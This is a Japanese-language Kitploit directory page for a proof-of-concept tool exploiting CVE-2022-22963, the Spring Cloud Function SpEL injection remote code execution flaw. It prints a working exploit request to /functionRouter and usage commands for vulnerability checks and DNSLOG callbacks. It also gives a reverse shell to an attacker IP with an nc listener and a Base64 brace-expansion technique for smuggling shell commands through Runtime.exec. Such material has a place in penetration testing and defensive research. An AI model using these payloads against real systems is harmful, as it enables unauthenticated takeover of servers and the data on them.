Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
ツール/GitHubGitHub/xmqaq/cve-2022-22963
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-22963

Python License

Spring Cloud Function SpEL 式インジェクションによるリモートコード実行脆弱性の検出・悪用ツール。

脆弱性概要

CVE-2022-22963 は、Spring Cloud Function のルーティング機能における重大な RCE 脆弱性(CVSS 9.8)です。アプリケーションで /functionRouter エンドポイントが有効な場合、spring.cloud.function.routing-expression リクエストヘッダの値がそのまま SpEL(Spring Expression Language)式として実行され、攻撃者は認証なしで対象サーバ上で任意のシステムコマンドを実行できます。

影響を受けるバージョン:

ブランチ影響を受けるバージョン修正バージョン
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

脆弱性の原理:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

サーバが SpEL を実行すると、exec() は Process オブジェクトを返しますが、Spring がこれをシリアライズしようとして例外が発生し、HTTP 500 で応答します。コマンドはバックグラウンドで非同期実行されるため、HTTP 応答には結果が表示されません。DNSLOG やリバースシェルなどのサイドチャネルで確認する必要があります。

機能

  • 脆弱性検出:SpEL をトリガーして特徴的な応答を取得し、対象に脆弱性が存在するか判断
  • DNSLOG 確認:ping リクエストを DNSLOG ドメインに送信し、DNS レコードでコマンド実行を確認
  • リバースシェル:Base64 エンコードにより空白制限を回避し、指定アドレスへ対話型シェルを送信

インストール

root@kitploit:~
pip install requests

Python 3.6+ で、他の依存関係は不要。

使用方法

root@kitploit:~
python3 CVE-2022-22963.py -u <対象URL> [オプション]

パラメータ説明

脆弱性検出

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com に脆弱性が存在します!

DNSLOG 確認

応答なしでコマンドが実際に実行されたことを確認する場合に使用:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] ペイロードを送信しました。abc123.dnslog.cn で DNS リクエストを受信したか確認してください(実際の実行を確認)

その後、DNSLOG プラットフォームで対象 IP からの DNS クエリ記録があるか確認します。

リバースシェル

攻撃側マシンでリスナーを起動:

root@kitploit:~
nc -lvnp 9999

ペイロードを送信:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] ペイロードを送信しました。192.168.1.100:9999 で接続を待機してください(Linux/bash ターゲットのみ対応)

注意:リバースシェルは対象システムが /dev/tcp をサポートしている必要があり、Linux + bash 環境のみに対応します。Windows ターゲットや sh/ash/dash などのシェルには対応していません。

技術詳細

検出原理

検出リクエストでは /functionRouter に対して実際の SpEL 式を送信します:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • 脆弱性あり:SpEL が実行され、Process オブジェクトがシリアライズ不可 → HTTP 500 + "path":"/functionRouter"
  • 脆弱性なし:ヘッダが無視され、関数ルーティングに失敗 → 応答コードまたはボディが上記の特徴に合致しない

リバースシェルのエンコード手順

Runtime.exec(String) はシェルを介さず、コマンド文字列を空白でトークン分割するため、パイプやリダイレクトを処理できません。ツールでは以下の方法で回避します:

  1. リバースシェルコマンドを Base64 エンコードし、特殊文字を除去
  2. bash のブレース展開 {cmd,arg} を用いて空白の代わりにする
  3. 最終的に対象 bash の -c パラメータでパイプとリダイレクトを処理させる
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec で空白によりトークン分割
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c で引数に対してブレース展開
echo BASE64 | base64 -d | bash -i

更新履歴

日付バージョン説明
2023-12-28v1.0初回リリース
2025-10-09v1.1コードリファクタリング、パラメータ処理とエラーハンドリングを最適化
2026-06-29v1.2検出の誤検出を修正、context path のパス結合、exploit の戻り値の意味論を修正

免責事項

本ツールはセキュリティ研究、許可されたペネトレーションテスト、教育目的でのみ使用されます。

本ツールを使用することにより、以下の事項に同意したものとみなします:

  1. 明確な書面による許可を得た対象システムでのみ使用すること
  2. 居住地域のすべての適用される法律・規制を遵守すること
  3. 本ツールの使用によって生じるすべての結果に対して完全な責任を負うこと

著者は、許可されていない使用やその結果について一切の責任を負いません。

ツールをダウンロード
パラメータ説明デフォルト値
-u, --url対象 URL(必須)—
-c, --check脆弱性の有無をチェック—
-m, --mode悪用モード:dnslog または shell—
-d, --dnsDNSLOG ドメイン(-m dnslog で使用)—
-i, --ipリバースシェル受信用 IP(-m shell で使用)—
-p, --portリバースシェル受信用ポート9999
-t, --timeoutリクエストタイムアウト(秒)5